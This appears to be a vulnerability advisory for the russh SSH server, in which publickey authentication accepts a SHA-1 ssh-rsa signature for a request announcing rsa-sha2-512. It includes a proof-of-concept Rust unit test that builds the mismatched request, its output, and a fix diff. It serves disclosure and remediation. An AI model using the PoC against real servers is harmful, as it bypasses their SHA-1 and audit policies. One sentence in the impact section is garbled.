---
id: "CVE-2026-111062"
kind: "vulnerability"
aliases: ["CVE-2026-111062", "GHSA-j7h2-66j4-ghjf"]
title: "A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request"
severity: "low"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "russh", "fixed": ["0.64.0"], "affected": ">= 0.34.0-beta.1, < 0.64.0", "ecosystem": "cargo"}]
ecosystems: ["cargo"]
tags: ["cwe-347", "package", "russh", "rust", "ssh-server"]
not_affected_if: ["algorithm-policy-not-relied-on", "no-rsa-user-keys", "russh-clients-only"]
published_at: "2026-10-19T17:06:29+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T20:15:36+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-j7h2-66j4-ghjf", "first_seen_at": "2026-10-23T19:11:32+00:00"}]
---

# A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request

The russh SSH server does not check that the signature algorithm in a publickey authentication matches the algorithm named in the request, so it verifies a signature by the hash inside the signature blob. An attacker holding a valid RSA private key can get a SHA-1 ssh-rsa signature accepted for a request announcing rsa-sha2-512, which defeats server policies that refuse SHA-1 or rely on the announced algorithm.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- cargo:russh affected >= 0.34.0-beta.1, < 0.64.0 fixed 0.64.0

## How to check

Check whether the application depends on russh as a server: grep Cargo.lock for 'name = "russh"' and look at the version, affected if >= 0.34.0-beta.1 and < 0.64.0.

## Fix

Upgrade russh to 0.64.0 or later.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-j7h2-66j4-ghjf

## From the sources

### Details

In `russh/src/server/encrypted.rs`, `server_read_auth_request_pk` (0.63.3, around lines 880-990):

* The requested algorithm name (`pubkey_algo`) is read and only used to decode the key: `PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key)`. The derived `hash_alg` is then dropped (`PublicKeyOrCertificate::PublicKey { ref key, .. }`).
* The signature blob is decoded (`Signature::decode`) and verified with `Verifier::verify(&pubkey, &buf, &sig)`. `ssh-key` picks the hash from **the signature's own algorithm** (`sig.algorithm()`).
* `pubkey_algo` and `sig.algorithm()` are never compared.

So for an RSA key, the request can say `rsa-sha2-512` while the signature is `ssh-rsa`. The signature is valid for SHA-1, verification succeeds, and `Handler::auth_publickey` is called.

**Affected versions: every russh release, from the first (`0.34.0-beta.1`, 2022-03) through 0.63.3 and current `main`.** The behaviour is inherited from `thrussh`, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

* **Up to 0.46:** after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (`pubkey.set_algorithm(algo_)`), then verifies.
* **From 0.47/0.48 (move to `ssh-key`):** the signature is decoded with its own algorithm (`sig_workaround::Sig::decode`, later `Signature::decode`) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of `server/encrypted.rs` in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and `main` (2026-09-30), and in thrussh 0.33.5.

### PoC

A unit test in the existing test module of `russh/src/server/encrypted.rs`. It uses the module's own helpers (`test_auth_session`, `sign_with_hash_alg`, `PrivateKeyWithHashAlg`) and needs no network or configuration.

1. Check out russh 0.63.3, or `main`.
2. Paste the code below inside `mod tests { ... }` of `russh/src/server/encrypted.rs`.
3. Run `cargo test --lib poc_sha1`.

```rust
// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}
```

Result on unmodified 0.63.3:

```
test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512
```

With the fix below, the test passes and the whole library suite still passes: `cargo test --lib` gives 186 passed.

Suggested fix: reject a mismatch through the existing `reject_auth_request(until, ...)` path, so the constant rejection time is kept.

```diff
--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {
```

### Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's `publickey` authentication.

Who is impacted: applications that use russh as an **SSH server** and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

* a server that refuses SHA-1 (`ssh-rsa`) signatures, as OpenSSH does by default since 8.8;
* a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record `rsa-sha2-512` for one, by any holder of a valid RSA key.

Not impacted:

* russh clients;
* authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
* Te RSA keys were examined, the case where one key admits several signature algorithms (`ssh-rsa`, `rsa-sha2-256`, `rsa-sha2-512`). We did not test other key types.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
